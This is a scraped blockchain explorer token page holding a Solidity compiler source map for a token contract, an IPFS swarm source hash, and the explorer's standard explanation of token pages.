-1:-1:-1::0;;;;;10580:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10624:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10624:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10580:7;;10624:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10614:4;10619:1;10614:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10614:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10689:15:::1;::::0;10657:57:::1;::::0;10674:4:::1;::::0;10689:15:::1;10707:6:::0;10657:8:::1;:57::i;:::-;10725:15;::::0;:191:::1;::::0;-1:-1:-1;;;10725:191:0;;-1:-1:-1;;;;;10725:15:0;;::::1;::::0;:66:::1;::::0;:191:::1;::::0;10806:6;;10725:15:::1;::::0;10843:4;;10870::::1;::::0;10890:15:::1;::::0;10725:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5734:6:0;:14;;-1:-1:-1;;;;5734:14:0;;;-1:-1:-1;;;;10456:468:0:o;11095:88::-;11133:10;;:42;;-1:-1:-1;;;;;11133:10:0;;;;11153:21;11133:42;;;;;:10;:42;:10;:42;11153:21;11133:10;:42;;;;;;;;;;;;;;;;;;;1445:179;1503:7;;1535:5;1539:1;1535;:5;:::i;:::-;1523:17;;1564:1;1559;:6;;1551:46;;;;-1:-1:-1;;;1551:46:0;;15692:2:1;1551:46:0;;;15674:21:1;15731:2;15711:18;;;15704:30;15770:29;15750:18;;;15743:57;15817:18;;1551:46:0;15490:351:1;1630:136:0;1688:7;1715:43;1719:1;1722;1715:43;;;;;;;;;;;;;;;;;:3;:43::i;2358:189::-;2444:7;2479:12;2472:5;2464:28;;;;-1:-1:-1;;;2464:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2503:9:0;2515:5;2519:1;2515;:5;:::i;9781:255::-;-1:-1:-1;;;;;9857:18:0;;9849:68;;;;-1:-1:-1;;;9849:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10004:15:0;;;;;;;:9;:15;;;;;:24;9781:255::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:127::-;2108:10;2103:3;2099:20;2096:1;2089:31;2139:4;2136:1;2129:15;2163:4;2160:1;2153:15;2179:275;2250:2;2244:9;2315:2;2296:13;;-1:-1:-1;;2292:27:1;2280:40;;2350:18;2335:34;;2371:22;;;2332:62;2329:88;;;2397:18;;:::i;:::-;2433:2;2426:22;2179:275;;-1:-1:-1;2179:275:1:o;2459:183::-;2519:4;2552:18;2544:6;2541:30;2538:56;;;2574:18;;:::i;:::-;-1:-1:-1;2619:1:1;2615:14;2631:4;2611:25;;2459:183::o;2647:668::-;2701:5;2754:3;2747:4;2739:6;2735:17;2731:27;2721:55;;2772:1;2769;2762:12;2721:55;2808:6;2795:20;2834:4;2858:60;2874:43;2914:2;2874:43;:::i;:::-;2858:60;:::i;:::-;2940:3;2964:2;2959:3;2952:15;2992:4;2987:3;2983:14;2976:21;;3049:4;3043:2;3040:1;3036:10;3028:6;3024:23;3020:34;3006:48;;3077:3;3069:6;3066:15;3063:35;;;3094:1;3091;3084:12;3063:35;3130:4;3122:6;3118:17;3144:142;3160:6;3155:3;3152:15;3144:142;;;3226:17;;3214:30;;3264:12;;;;3177;;3144:142;;;-1:-1:-1;3304:5:1;2647:668;-1:-1:-1;;;;;;2647:668:1:o;3320:1215::-;3438:6;3446;3499:2;3487:9;3478:7;3474:23;3470:32;3467:52;;;3515:1;3512;3505:12;3467:52;3555:9;3542:23;3584:18;3625:2;3617:6;3614:14;3611:34;;;3641:1;3638;3631:12;3611:34;3679:6;3668:9;3664:22;3654:32;;3724:7;3717:4;3713:2;3709:13;3705:27;3695:55;;3746:1;3743;3736:12;3695:55;3782:2;3769:16;3804:4;3828:60;3844:43;3884:2;3844:43;:::i;3828:60::-;3922:15;;;4004:1;4000:10;;;;3992:19;;3988:28;;;3953:12;;;;4028:19;;;4025:39;;;4060:1;4057;4050:12;4025:39;4084:11;;;;4104:217;4120:6;4115:3;4112:15;4104:217;;;4200:3;4187:17;4217:31;4242:5;4217:31;:::i;:::-;4261:18;;4137:12;;;;4299;;;;4104:217;;;4340:5;-1:-1:-1;;4383:18:1;;4370:32;;-1:-1:-1;;4414:16:1;;;4411:36;;;4443:1;4440;4433:12;4411:36;;4466:63;4521:7;4510:8;4499:9;4495:24;4466:63;:::i;:::-;4456:73;;;3320:1215;;;;;:::o;4540:247::-;4599:6;4652:2;4640:9;4631:7;4627:23;4623:32;4620:52;;;4668:1;4665;4658:12;4620:52;4707:9;4694:23;4726:31;4751:5;4726:31;:::i;5000:388::-;5068:6;5076;5129:2;5117:9;5108:7;5104:23;5100:32;5097:52;;;5145:1;5142;5135:12;5097:52;5184:9;5171:23;5203:31;5228:5;5203:31;:::i;:::-;5253:5;-1:-1:-1;5310:2:1;5295:18;;5282:32;5323:33;5282:32;5323:33;:::i;:::-;5375:7;5365:17;;;5000:388;;;;;:::o;5653:356::-;5855:2;5837:21;;;5874:18;;;5867:30;5933:34;5928:2;5913:18;;5906:62;6000:2;5985:18;;5653:356::o;6014:127::-;6075:10;6070:3;6066:20;6063:1;6056:31;6106:4;6103:1;6096:15;6130:4;6127:1;6120:15;6146:416;6235:1;6272:5;6235:1;6286:270;6307:7;6297:8;6294:21;6286:270;;;6366:4;6362:1;6358:6;6354:17;6348:4;6345:27;6342:53;;;6375:18;;:::i;:::-;6425:7;6415:8;6411:22;6408:55;;;6445:16;;;;6408:55;6524:22;;;;6484:15;;;;6286:270;;;6290:3;6146:416;;;;;:::o;6567:806::-;6616:5;6646:8;6636:80;;-1:-1:-1;6687:1:1;6701:5;;6636:80;6735:4;6725:76;;-1:-1:-1;6772:1:1;6786:5;;6725:76;6817:4;6835:1;6830:59;;;;6903:1;6898:130;;;;6810:218;;6830:59;6860:1;6851:10;;6874:5;;;6898:130;6935:3;6925:8;6922:17;6919:43;;;6942:18;;:::i;:::-;-1:-1:-1;;6998:1:1;6984:16;;7013:5;;6810:218;;7112:2;7102:8;7099:16;7093:3;7087:4;7084:13;7080:36;7074:2;7064:8;7061:16;7056:2;7050:4;7047:12;7043:35;7040:77;7037:159;;;-1:-1:-1;7149:19:1;;;7181:5;;7037:159;7228:34;7253:8;7247:4;7228:34;:::i;:::-;7298:6;7294:1;7290:6;7286:19;7277:7;7274:32;7271:58;;;7309:18;;:::i;:::-;7347:20;;6567:806;-1:-1:-1;;;6567:806:1:o;7378:140::-;7436:5;7465:47;7506:4;7496:8;7492:19;7486:4;7465:47;:::i;7523:168::-;7596:9;;;7627;;7644:15;;;7638:22;;7624:37;7614:71;;7665:18;;:::i;7696:184::-;7766:6;7819:2;7807:9;7798:7;7794:23;7790:32;7787:52;;;7835:1;7832;7825:12;7787:52;-1:-1:-1;7858:16:1;;7696:184;-1:-1:-1;7696:184:1:o;8164:277::-;8231:6;8284:2;8272:9;8263:7;8259:23;8255:32;8252:52;;;8300:1;8297;8290:12;8252:52;8332:9;8326:16;8385:5;8378:13;8371:21;8364:5;8361:32;8351:60;;8407:1;8404;8397:12;9135:251;9205:6;9258:2;9246:9;9237:7;9233:23;9229:32;9226:52;;;9274:1;9271;9264:12;9226:52;9306:9;9300:16;9325:31;9350:5;9325:31;:::i;10312:306::-;10400:6;10408;10416;10469:2;10457:9;10448:7;10444:23;10440:32;10437:52;;;10485:1;10482;10475:12;10437:52;10514:9;10508:16;10498:26;;10564:2;10553:9;10549:18;10543:25;10533:35;;10608:2;10597:9;10593:18;10587:25;10577:35;;10312:306;;;;;:::o;11431:401::-;11633:2;11615:21;;;11672:2;11652:18;;;11645:30;11711:34;11706:2;11691:18;;11684:62;-1:-1:-1;;;11777:2:1;11762:18;;11755:35;11822:3;11807:19;;11431:401::o;13346:135::-;13385:3;13406:17;;;13403:43;;13426:18;;:::i;:::-;-1:-1:-1;13473:1:1;13462:13;;13346:135::o;13486:128::-;13553:9;;;13574:11;;;13571:37;;;13588:18;;:::i;13619:217::-;13659:1;13685;13675:132;;13729:10;13724:3;13720:20;13717:1;13710:31;13764:4;13761:1;13754:15;13792:4;13789:1;13782:15;13675:132;-1:-1:-1;13821:9:1;;13619:217::o;14243:127::-;14304:10;14299:3;14295:20;14292:1;14285:31;14335:4;14332:1;14325:15;14359:4;14356:1;14349:15;14375:980;14637:4;14685:3;14674:9;14670:19;14716:6;14705:9;14698:25;14742:2;14780:6;14775:2;14764:9;14760:18;14753:34;14823:3;14818:2;14807:9;14803:18;14796:31;14847:6;14882;14876:13;14913:6;14905;14898:22;14951:3;14940:9;14936:19;14929:26;;14990:2;14982:6;14978:15;14964:29;;15011:1;15021:195;15035:6;15032:1;15029:13;15021:195;;;15100:13;;-1:-1:-1;;;;;15096:39:1;15084:52;;15191:15;;;;15156:12;;;;15132:1;15050:9;15021:195;;;-1:-1:-1;;;;;;;15272:32:1;;;;15267:2;15252:18;;15245:60;-1:-1:-1;;;15336:3:1;15321:19;15314:35;15233:3;14375:980;-1:-1:-1;;;14375:980:1:o;15360:125::-;15425:9;;;15446:10;;;15443:36;;;15459:18;;:::i

Swarm Source

ipfs://7350579d569e9b936bccb08a174d78cc63a0db8ea73e45195ffda1ef42d5cc79
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.